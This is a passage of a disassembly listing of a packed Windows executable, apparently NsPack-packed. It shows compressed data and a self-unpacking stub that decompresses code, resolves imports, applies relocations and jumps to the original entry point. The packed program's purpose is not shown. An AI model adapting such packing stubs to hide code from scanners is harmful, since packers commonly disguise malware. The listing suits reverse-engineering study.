		dw 1BDh
aIsvalidcodepag	db 'IsValidCodePage',0
aW_2		db 'w',0
aEnumsystemloca	db 'EnumSystemLocalesA',0
		align 2
		dw 171h
aGetuserdefault	db 'GetUserDefaultLCID',0
		align 4
		dd 65530261h, 646E4574h, 6946664Fh, 656Ch, 6547011Dh, 636F4C74h
		dd 49656C61h, 576F666Eh, 210000h, 706D6F43h, 53657261h
		dd 6E697274h, 4167h, 6F430022h,	7261706Dh, 72745365h, 57676E69h
		dd 2620000h
aSetenvironment	db 'SetEnvironmentVariableA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 4
		dd 0D28h dup(0)
		db 0
byte_4F5345	db 3 dup(0)		; DATA XREF: .nsp0:004521F0o
		dd 0A2Eh dup(0)
aNb10		db 'NB10',0
		align 4
		dd 463857E3h, 1, 445C3A43h, 6D75636Fh, 73746E65h, 646E6120h
		dd 74655320h, 676E6974h, 63695C73h, 65445C63h, 6F746B73h
		dd 654E5C70h, 6F462077h, 7265646Ch, 6265445Ch, 685C6775h
		dd 33646431h, 64702E6Eh, 62h, 0EBh dup(0)
		dd 1995h, 74A2h, 0D535h, 1132Fh, 114E5h, 150EBh, 161E5h
		dd 24DA5h, 2EA95h, 3 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E7980Ah, 77E79E34h, 4 dup(0)
		dd 0F806Ch, 0F8030h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69560000h, 61757472h
		dd 6572466Ch, 0DE000065h, 5E000569h, 80000h, 569DEh, 0
		dd 0D9A22A00h, 0BA981285h, 15B933D3h, 4807002Ah, 0F595h
		dd 148E108h, 15A060E9h,	8B2CEC83h, 3024441Dh, 5503481Fh
		dd 7E01BE56h, 0D3D6182Dh, 57041CE2h, 0C7B78F0h,	89FA2BE0h
		dd 133A5468h, 2C4A603Ch, 0E1B8C803h, 18447DD3h,	33ED33E0h
		dd 180D247Ch, 1E073605h, 5F34459Fh, 9105974h, 2F1C1220h
		dd 0C6C1FBFh, 3C64C60Ch, 141383E1h, 208B0974h, 0F33C0473h
		dd 804CBFABh, 71B60F40h, 75D23303h, 83010E8Ah, 0C86305C1h
		dd 277D89FFh, 6FD513Eh,	0D60B08E2h, 9FF5037h, 6E3967F2h
		dd 0E086D34Ch, 8B53BD19h, 6F8C1816h, 34082310h,	3CC1D5F8h
		dd 3DD10304h, 3101A753h, 1C312C71h, 7391C88Dh, 44131666h
		dd 0C1110E7Ah, 0E06D08E6h, 1FB4A07Fh, 728B443Dh, 0EF7FF87Ah
		dd 0F9AF0F07h, 8352F73Bh, 8BDEA1ABh, 0A3C2BFC7h, 1DF92BF5h
		dd 4D03052Eh, 683B89h, 5C8B40C6h, 3808BDD8h, 1835DCB9h
		dd 0BA30702Ah, 37E655D0h, 0CABEABEFh, 30364E3h,	82FF69FBh
		dd 0FD2D480Ch, 8C8D0607h, 141CD80Fh, 0B6CF7E83h, 9C845181h
		dd 0F0142B40h, 0B6B3A87Ch, 3439680Ch, 216ABA52h, 0B1DB1F31h
		dd 0C3E38115h, 0EB5A343h, 64130C8Dh, 0C898FACh,	3923B40Ah
		dd 4DA3F790h, 73B53885h, 9CB16B57h, 0A485D28Ch,	1474E07Dh
		dd 53FA816Ah, 8A8D0F0Ah, 6D6C4681h, 0AE2CCECFh,	8D231C9Bh
		dd 0A1B20F73h, 0F1805A90h, 8B01C583h, 5693520Ch, 89F039C8h
		dd 0B293633Ch, 0C7F336EBh, 478BF791h, 0CDCF9612h, 548D7EC0h
		dd 53740112h, 8C0C6A96h, 0EB02FF29h, 0CD241E52h, 2204A689h
		dd 887C2021h, 0AA8692FEh, 0A54F070Bh, 0CE673914h, 0F61825ECh
		dd 2B046FF9h, 27808869h, 0C70D7D40h, 18224469h,	8805CE7Ch
		dd 7D3A0AF9h, 367FB0Ch,	0BD651855h, 615111Fh, 0EB1220Ch
		dd 0EAC1D18Bh, 0ABCAE1F9h, 0B12F0E4h, 0FD40E76Bh, 4C8CE81Ch
		dd 0DA9E9BABh, 0E5206AD0h, 73F23BD1h, 0C2214A7Ch, 9048A0BAh
		dd 0A77D234h, 4425949Eh, 8A1D654h, 508531FFh, 0C29C0FD0h
		dd 3F2889CCh, 5311DE14h, 0E8AB148Dh, 9D83EA89h,	494003E2h
		dd 14F5F18Bh, 2B44BF03h, 0B1F292C2h, 8F59CA93h,	51737108h
		dd 45CA9012h, 2EC79B69h, 0CE8B5732h, 0C1C81030h, 0CA8CE954h
		dd 7CF13B26h, 0B167A91Ah, 0D409FA73h, 0F4C558Dh, 2CC298CAh
		dd 4EF95481h, 2433A4BCh, 0E8C8DC1h, 0E1C61873h,	0EC871408h
		dd 0FC5E921h, 8F47E03Ch, 0CDC9330Ah, 89C29D47h,	72824417h
		dd 0D309718Dh, 0C396464h, 14D02BB6h, 0A98A87CEh, 3985023Ah
		dd 0A68944FFh, 0E9F9139Ch, 0D9895049h, 0E90F89F0h, 0E78EE755h
		dd 8BF1B3EFh, 24BD1AEDh, 0D08A6A6Eh, 2217EB39h,	0D4EBD17Bh
		dd 77602406h, 0DC0A1EF1h, 0E9258062h, 47B9D47Fh, 4C8D60BCh
		dd 5CAD9036h, 0D33B1B12h, 9A212541h, 0E055590Bh, 0AA3D30A1h
		dd 0A4C7ABDBh, 1164F38Ah, 0AA185A14h, 425232EFh, 0E1ED8775h
		dd 0B189EAFh, 0CB8D182Bh, 451414DEh, 835D166Ah,	0A22C3A96h
		dd 125481C2h, 444BCE11h, 2B852AFAh, 2C6532D8h, 89C9D943h
		dd 0A812039h, 0DB330813h, 340EE44h, 0B4C8823h, 45FAC83Ch
		dd 11FB62D7h, 518A629Fh, 2E596304h, 479850Fh, 66C88BC6h
		dd 39BB3002h, 0EB6A58E1h, 0CC672152h, 0F2819089h, 4791E908h
		dd 0DE62DF10h, 2CCD3183h, 2BE672BDh, 14F0EB90h,	9189A7A9h
		dd 3783E515h, 0EBEDA8A9h, 3070A712h, 2D6C8D5Eh,	0BAE94E90h
		dd 0A67592BAh, 4ACCEC95h, 0DA2B04E2h, 0B083EB03h, 0B2B80430h
		dd 7725A26Fh, 8070549h,	0DD01E57Dh, 3BB057Ch, 1CC04428h
		dd 8D08E3C1h, 0C00B9C0Ah, 0F1CEA906h, 728B7B6Ah, 366B2DE7h
		dd 0A21543D7h, 0C8B3E512h, 4C4091A0h, 0FAF476E5h, 58C92A0h
		dd 3EF428Ah, 0FBF9D1C3h, 0DC8DCE7h, 300266CFh, 2C05BF0Eh
		dd 0E7D3267Dh, 24018D22h, 979124BBh, 82222B14h,	47C1C24h
		dd 8C0ABCBAh, 0EB28444Ch, 72CF0663h, 8D032204h,	0EB0B949h
		dd 391AAC42h, 0D14C24F3h, 0FF03E802h, 8E72F03Bh, 2BA9A83h
		dd 92D97563h, 889C82F2h, 0E7A40E0Ch, 66B8904h, 2C49D95Bh
		dd 74A770AEh, 5F04EB8Ah, 12125721h, 9923A33Ah, 0DBD499D1h
		dd 0CC1A46EBh, 59409F99h, 8D0A0809h, 1A991B5Ch,	0AFB01864h
		dd 87A4EB9Ah, 749B1449h, 29F374FAh, 3C575CB1h, 0A0CF254Ch
		dd 2C583DBh, 8DCB1F03h,	0B923E5A4h, 0EDF0118Ah,	142C8801h
		dd 85AAA51Fh, 4EB9857Ch, 0BEEA750Ah, 83B108Ch, 820F0750h
		dd 19FFF84Dh, 725451E1h, 5F5B057Ah, 680895Eh, 0E835DC0h
		dd 18C22CC4h, 0B9102D19h, 21650F9h, 50503387h, 65292321h
		dd 830168CCh, 5310EC04h, 57F18B56h, 446FB00h, 9B92A99h
		dd 0F9F70683h, 1105BF57h, 68046A1Ch, 0BC261012h, 99C00A36h
		dd 96B4FFF7h, 30D81330h, 0CA0318E0h, 0AA24BA4Fh, 41CB7E4h
		dd 8108478Bh, 70AAF5C2h, 6A705273h, 0ED0FF2Eh, 0C5D88E4Eh
		dd 41D08D06h, 0E5525051h, 83304B80h, 8D5611C6h,	1A2010CCh
		dd 0E6E8805Ch, 4FC6F654h, 80C00C66h, 0FA53E0CFh, 37A0FBD1h
		dd 0A35B50A7h, 0CC22310h, 50938868h, 40050297h,	0E9C00447h
		dd 10A21CDh, 0F80300Eh,	1C08340Dh, 7950DE10h, 0C5A450BAh
		dd 20291066h, 15075108h, 96BFC512h, 8D188024h, 5150C51Dh
		dd 20F235Ch, 7FF3090Dh,	95044DAEh, 0EED3806h, 85A07438h
		dd 0F306A0E5h, 140884BAh, 1C018A33h, 938070A8h,	24278060h
		dd 84C854A5h, 1BD191C3h, 0B869DE70h, 18C03DFDh,	502A8D1Ch
		dd 5C900F03h, 3835562Bh, 187B4A2h, 56E80287h, 4714E508h
		dd 0F2575383h, 0D80E855h, 7ED815Dh, 8D8C1360h, 0C012FEB5h
		dd 0FC468B0Ch, 458C083h, 0DEF2760Ah, 87E56F6h, 31C7600h
		dd 21BD8DF2h, 0AD32C51Eh, 900220ABh, 484C7B83h,	7CA4883h
		dd 0F6854473h, 23B90E71h, 0E54683B7h, 0FADFC07Bh, 0CFEFA4F3h
		dd 390D5822h, 6F1A2F01h, 32C30604h, 861D78F9h, 3AE8511Ch
		dd 19053DFh, 2C4E8B04h,	4B3F8689h, 20406A26h, 0F3915164h
		dd 21862995h, 0D198589h, 0D5E85638h, 0C87288CBh, 0C085071Ch
		dd 0C194360Fh, 0B23228C8h, 1749470Ch, 60014F90h, 0C985349Ah
		dd 8984290Fh, 8983D85h,	6394651h, 746E0183h, 57958B7Bh
		dd 8DCD511Ah, 440DB25Bh, 458AA475h, 0F72DEB41h,	805780C1h
		dd 81521E74h, 132B4E1h,	858D517Fh, 50319812h, 8A1E310Eh
		dd 1D578905h, 3052426h,	41C80308h, 3F10528Bh, 0A0A91CDDh
		dd 6A620D96h, 88B68510h, 5366C01Ch, 0F9088131h,	370C1415h
		dd 4425DE24h, 0C430775h, 0F0404BE3h, 17F703F1h,	83E906C6h
		dd 89982B50h, 25900146h, 5704C28Dh, 65D435E8h, 48FFCA9Ch
		dd 8E9903B5h, 4620DA2Dh, 3C7030Ch, 5B5F5E5Dh, 0ECDA55C3h
		dd 24FCD961h, 10E1E8AFh, 34EB815Bh, 1C3F14B5h, 20ED6D4h
		dd 93FF51F7h, 89249D44h, 5617B045h, 0B77E8A0Ah,	0FB96D31Ch
		dd 283AC1Dh, 0F7521674h, 0B3C3AA5Fh, 44FC750Ch,	5AAB8825h
		dd 41692B8h, 4818E4EBh,	667506ACh, 1EC9AFC5h, 1AF90E0h
		dd 28D08A5Eh, 669EC1CDh, 7EC84D54h, 0B1AD0C24h,	0C2030787h
		dd 0EB8D82EBh, 0C9999F4h, 544CB91Ah, 98887E8h, 393C6A16h
		dd 44AC926h, 0C80A743Ch, 2E90FEFDh, 7EB5012h, 55892C70h
		dd 0B70F05F8h, 88A91046h, 7D77759Ch, 79A4AB9Ch,	78760AC9h
		dd 4DB36CB7h, 5E401FFCh, 3360012h, 0CF3BF875h, 0C0347D2Eh
		dd 0F9004617h, 0FC5501D0h, 3EE87B2Ch, 0FE8174D3h, 75D78AC8h
		dd 3A2A8E1Ch, 660DC0C2h
		dd 0E608E8C1h, 861013C0h, 61044C4h, 0CEBB8601h,	0CCF50473h
		dd 0C812EB41h, 0BC40595Eh, 35741446h, 562ADD3Bh, 0A49D2830h
		dd 11331645h, 0FD86E90Bh, 5117E7C0h, 24378ED4h,	830332F8h
		dd 0F86602ECh, 0C521276h, 0FEA9E850h, 8EC55930h, 3182491Ch
		dd 3AD86A57h, 90E515B3h, 0FA7EAAEEh, 944E9B19h,	4328CDDEh
		dd 0C88B1EDh, 73E04D74h, 7D625C98h, 0C9084B28h,	0F9C4C1EAh
		dd 0A5F32C02h, 0E1830F1Fh, 7BF145B6h, 0FA160C04h, 0D1F652A4h
		dd 0F1AB19A1h, 6CAA08CAh, 3B60CE5Ah, 343D32DAh,	0C3A68132h
		dd 5AA27501h, 179084A2h, 59C457Fh, 0E09869Ah, 5251F009h
		dd 94911B56h, 8AD68A8Ch, 31BB8985h, 71EC7DBFh, 486EA818h
		dd 29C82B3Ch, 5E51B236h, 92F92032h, 601A047Ch, 0D0BB8CCAh
		dd 0F40EC548h, 8499352h, 9AE44BEAh, 0C7218B33h,	0C91E7E51h
		dd 0AC60EC06h, 747140C8h, 46DDB592h, 412912D4h,	8F369F15h
		dd 0C2066EFBh, 6B5ACAEBh, 0FA900F1Bh, 758C7D3Bh, 0EB28F90Eh
		dd 27F3DA11h, 5C7C240h,	90A650FFh, 730C7310h, 0D42B7DE0h
		dd 5EB8499Ch, 0DA4ECEE3h, 40AB0B45h, 922DB408h,	0C9CF402Dh
		dd 7F018DF6h, 0C51992Ch, 82345DE1h, 0A35C9839h,	7406A8B6h
		dd 8036E24h, 743137Dh, 0A90C4E51h, 107ECEA0h, 21CFFF85h
		dd 5750407Bh, 4FE85351h, 957521Fh, 881B481Bh, 0A90109BFh
		dd 39C5EB14h, 736DC165h, 0ACCB6276h, 7484E4CBh,	0C45411Ah
		dd 0A32D8389h, 5B10D06Ch, 46F63884h, 0FD938B89h, 40414062h
		dd 62D2CD0Ch, 4B9C7E83h, 0FDC0858Fh, 0EBDA4EDCh, 1063114Eh
		dd 6BDEB23h, 7D50CEC9h,	141E55B1h, 29FD285h, 0F698D65Dh
		dd 0AAC7F20Dh, 0E78A136Eh, 2974B8ECh, 137F5244h, 91788A9h
		dd 154E254Eh, 0EEB016Ah, 0D6604D8Bh, 79D6BA41h,	7151F066h
		dd 64479640h, 685A4D11h, 0D66F6C30h, 92B91C4Dh,	9152C502h
		dd 44ACEBBBh, 0D79C6A9Dh, 8AFC8428h, 0F36B6FAFh, 2B302A80h
		dd 0D0DA89F1h, 91052E8h, 0C4D3B1Ch, 0EB416601h,	4C365FF3h
		dd 6DFC246Bh, 421865E9h, 45251BCDh, 3C40B904h, 8D144820h
		dd 18017C03h, 0D027C783h, 0B0E9C1CFh, 32E17360h, 50768D51h
		dd 842596DBh, 8A420938h, 0F683A807h, 88A32C04h,	1D8859C2h
		dd 0CB1EA1E7h, 6585A51Ch, 111C3289h, 783808A3h,	54E22243h
		dd 25520C19h, 0D4941425h, 7041635Dh, 63696C88h,	374613Ah
		dd 65206E6Fh, 7C6E8F72h, 0FBCE1229h, 0FF758B20h, 54012EB7h
		dd 0C6F76568h, 7F63763Ch, 148DED64h, 0E5357325h, 6ECBF36Ch
		dd 62EA74B3h, 61765F0Fh, 0DD69FE36h, 4453F164h,	4742C74Ch
		dd 64826635h, 6C61372Ch, 57337A20h, 62132A9Ch, 966EB54Eh
		dd 751498DBh, 331C9B73h, 0BC4D1D32h, 67613D79h,	786F4287h
		dd 0BA770741h, 7478318Fh, 94149966h, 991E15Bh, 445B22F9h
		dd 41A65347h, 6E706B67h, 5776C36h, 74697845h, 84C02650h
		dd 0F8D843E0h, 3C6148A0h, 0E07E646Eh, 0F1707A4Fh, 0FE471858h
		dd 0A14D7A74h, 1C4D6CE0h, 6956B483h, 1AFD7472h,	0AA0741BCh
		dd 9D0CAE63h, 9C8C1ABh,	2BB591A9h, 1E8A6D2h, 0B6242771h
		dd 5209C649h, 1854919h,	6000CC77h, 2424748Bh, 28247C8Bh
		dd 3380B2FCh, 2B3A4DBh,	6DE8h, 33F67300h, 64E8C9h, 1C730000h
		dd 5BE8C033h, 73000000h, 4102B323h, 4FE810B0h, 12000000h
		dd 75F773C0h, 0D4EBAA3Fh, 4DE8h, 75CB2B00h, 42E810h, 28EB0000h
		dd 74E8D1ACh, 0EBC9134Dh, 0C148911Ch, 0E8AC08E0h, 2Ch
		dd 7D003Dh, 800A7300h, 67305FCh, 777FF883h, 95414102h
		dd 1B3C58Bh, 2BF78B56h,	5EA4F3F0h, 0D2028EEBh, 168A0575h
		dd 0C3D21246h, 0E841C933h, 0FFFFFFEEh, 0E7E8C913h, 72FFFFFFh
		dd 7C2BC3F2h, 7C892824h, 0C2611C24h, 0Ch, 0F80E4h, 169Ch
		dd 0A68h, 0F8C37h, 0F8038h, 0F803Ch, 400000h, 77E805D8h
		dd 77E7A5FDh, 4F7AD2B8h, 59888DF0h, 89100012h, 548B0141h
		dd 528B0424h, 0E902C60Ch, 2B05C283h, 0FC4A89CAh, 0B8C3C033h
		dd 0F04F7AD2h, 58F64h, 83000000h, 535504C4h, 52565751h
		dd 1212988Dh, 538B1000h, 0E88B5218h, 68406Ah, 0FF000010h
		dd 6A0473h, 3104B8Bh, 0FF018BCAh, 0F88B5AD0h, 338B5250h
		dd 320438Bh, 89088BC2h,	438B204Bh, 8BC2031Ch, 1C4B8908h
		dd 4B8BF203h, 8DCA030Ch, 57501C43h, 5AD1FF56h, 8430358h
		dd 8B52F88Bh, 0FC468BF0h, 2B04C083h, 85689F0h, 890C4B8Bh
		dd 0D7FF144Eh, 12FA8589h, 0F08B1000h, 5A144B8Bh, 0CA030CEBh
		dd 800068h, 57006A00h, 0C68B11FFh, 595F5E5Ah, 0E0FF5D5Bh
		dd 41E9C0h, 8Ch	dup(0)
		dd 15h,	0
		dd 0F8030h, 340AFDD8h, 0B77E79Eh, 4 dup(0)
		db    0
aLoadlibraryage	db 'LoadLibraryAGetProcAddressVirtualAllocVirtualFree',0
		align 1000h
_nsp0		ends

; Section 2. (virtual address 000FA000)
; Virtual size			: 0002042A ( 132138.)
; Section size in file		: 0002042A ( 132138.)
; Offset to raw	data for section: 000FA000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp1		segment	para public 'CODE' use32
		assume cs:_nsp1
		;org 4FA000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 906h, 0
		dd 0F9000h, 0
		dd 400000h, 0
		dd 77E60000h, 7	dup(0)
		dd 320000h, 0
		dd offset sub_401000
		align 8
		dd 1, 0
		dd 136h, 6 dup(0)
		dd 2, 160h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000
		dd 0
		dd 1E679h, 3 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
		dd 77E75CB5h, 4	dup(0)
		dd 0FA0E0h, 0FA09Ch, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 4C000000h, 4C64616Fh
		dd 61726269h, 417972h, 65470000h, 6F725074h, 64644163h
		dd 73736572h, 56000000h, 75747269h, 72506C61h, 6365746Fh
		dd 74h,	74726956h, 416C6175h, 636F6C6Ch, 56000000h, 75747269h
		dd 72466C61h, 6565h, 69784500h,	6F725074h, 73736563h, 13000000h
		dd 34F6023Ah
		db 81h,	25h, 0C0h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 004FA513 SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7
		lea	ecx, [ebp-0D7h]
		cmp	byte ptr [ecx],	1
		jz	loc_4FA3AF
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-143h]
		mov	[ebp-143h], eax
		add	[ebp-113h], eax
		lea	esi, [ebp-0CFh]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0ABh]
		test	eax, eax
		jz	loc_4FA513
		mov	[ebp-11Bh], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_4FA474
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-153h]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_4FA1E1
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_4FA1F7
; ---------------------------------------------------------------------------


loc_4FA1E1:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4


loc_4FA1EB:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_4FA224
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]


loc_4FA1F7:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-0A7h]
		push	dword ptr [ebp-0ABh]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-11Bh]
		add	eax, 5AAh
		call	eax
		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_4FA224
		add	ebx, 8
		jmp	short loc_4FA1EB
; ---------------------------------------------------------------------------


loc_4FA224:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-11Bh]
		call	dword ptr [ebp-0A7h]
		lea	esi, [ebp-113h]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_4FA28B


loc_4FA24C:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_4FA251:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_4FA24C
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_4FA271
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_4FA24C
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_4FA27B
; ---------------------------------------------------------------------------


loc_4FA271:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah


loc_4FA27B:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_4FA251


loc_4FA28B:				; CODE XREF: start+F7j
		call	sub_4FA3CA
		lea	ecx, [ebp-0FFh]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_4FA323
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_4FA323
		mov	[ecx+10h], esi
		lea	esi, [ebp-0CFh]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_4FA2C8
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_4FA2D0
; ---------------------------------------------------------------------------


loc_4FA2C8:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]


loc_4FA2D0:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_4FA2F9
		cmp	al, 0EFh
		ja	short loc_4FA2E3


loc_4FA2DD:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_4FA2D0
; ---------------------------------------------------------------------------


loc_4FA2E3:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_4FA2DD
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_4FA2DD
; ---------------------------------------------------------------------------


loc_4FA2F9:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_4FA323


loc_4FA304:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_4FA311
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4FA304
; ---------------------------------------------------------------------------


loc_4FA311:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h


loc_4FA316:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_4FA323
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4FA316
; ---------------------------------------------------------------------------


loc_4FA323:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-143h]
		mov	edx, [esi]
		lea	esi, [ebp-0E7h]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_4FA376
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-0AFh]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_4FA513
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-0AFh]


loc_4FA376:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 8
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_4FA3AF
		inc	ebx
		lea	esi, [ebp-143h]
		mov	edx, [esi]


loc_4FA390:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-0AFh]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_4FA390


loc_4FA3AF:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_4FA3C3
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4FA3C3:				; CODE XREF: start+264j
		popa
		popf
		jmp	sub_401000
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA3CA	proc near		; CODE XREF: start:loc_4FA28Bp
		mov	esi, [ebp-14Bh]
		or	esi, esi
		jz	loc_4FA46F
		mov	edx, [ebp-143h]
		add	esi, edx


loc_4FA3E0:				; CODE XREF: sub_4FA3CA+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_4FA3F3
		cmp	dword ptr [esi+4], 0
		jnz	short loc_4FA3F3
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4FA3F3
		jmp	short loc_4FA46D
; ---------------------------------------------------------------------------


loc_4FA3F3:				; CODE XREF: sub_4FA3CA+19j
					; sub_4FA3CA+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-73h]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-0B7h]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_4FA46F
		mov	[ebp-13Bh], eax
		add	edi, [esi]
		add	esi, 4


loc_4FA421:				; CODE XREF: sub_4FA3CA+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_4FA42D
		inc	esi
		jmp	short loc_4FA3E0
; ---------------------------------------------------------------------------


loc_4FA42D:				; CODE XREF: sub_4FA3CA+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_4FA441
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh


loc_4FA441:				; CODE XREF: sub_4FA3CA+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-13Bh]
		call	dword ptr [ebp-0B3h]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_4FA46F
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_4FA421
; ---------------------------------------------------------------------------


loc_4FA46D:				; CODE XREF: sub_4FA3CA+27j
		clc
		retn
; ---------------------------------------------------------------------------


loc_4FA46F:				; CODE XREF: sub_4FA3CA+8j
					; sub_4FA3CA+4Aj ...
		jmp	loc_4FA513
sub_4FA3CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4FA474	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004FA50F SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_4FA480:				; CODE XREF: sub_4FA474+12j
		movsb


loc_4FA481:				; CODE XREF: sub_4FA474+34j
					; sub_4FA474+7Dj
		call	sub_4FA4F3
		jnb	short loc_4FA480
		xor	ecx, ecx
		call	sub_4FA4F3
		jnb	short loc_4FA4AA
		xor	eax, eax
		call	sub_4FA4F3
		jnb	short loc_4FA4BB
		mov	al, 10h


loc_4FA49C:				; CODE XREF: sub_4FA474+2Fj
		call	sub_4FA4F3
		adc	al, al
		jnb	short loc_4FA49C
		jnz	short loc_4FA4E8
		stosb
		jmp	short loc_4FA481
; ---------------------------------------------------------------------------


loc_4FA4AA:				; CODE XREF: sub_4FA474+1Bj
		call	sub_4FA4FF
		dec	ecx
		loop	loc_4FA4C7
		mov	eax, ebp
		call	sub_4FA4FD
		jmp	short loc_4FA4E9
; ---------------------------------------------------------------------------


loc_4FA4BB:				; CODE XREF: sub_4FA474+24j
		lodsb
		shr	eax, 1
		jz	short loc_4FA50F
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_4FA4E9
; ---------------------------------------------------------------------------


loc_4FA4C7:				; CODE XREF: sub_4FA474+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_4FA4FD
		cmp	eax, 7D00h
		jnb	short loc_4FA4E7
		cmp	eax, 500h
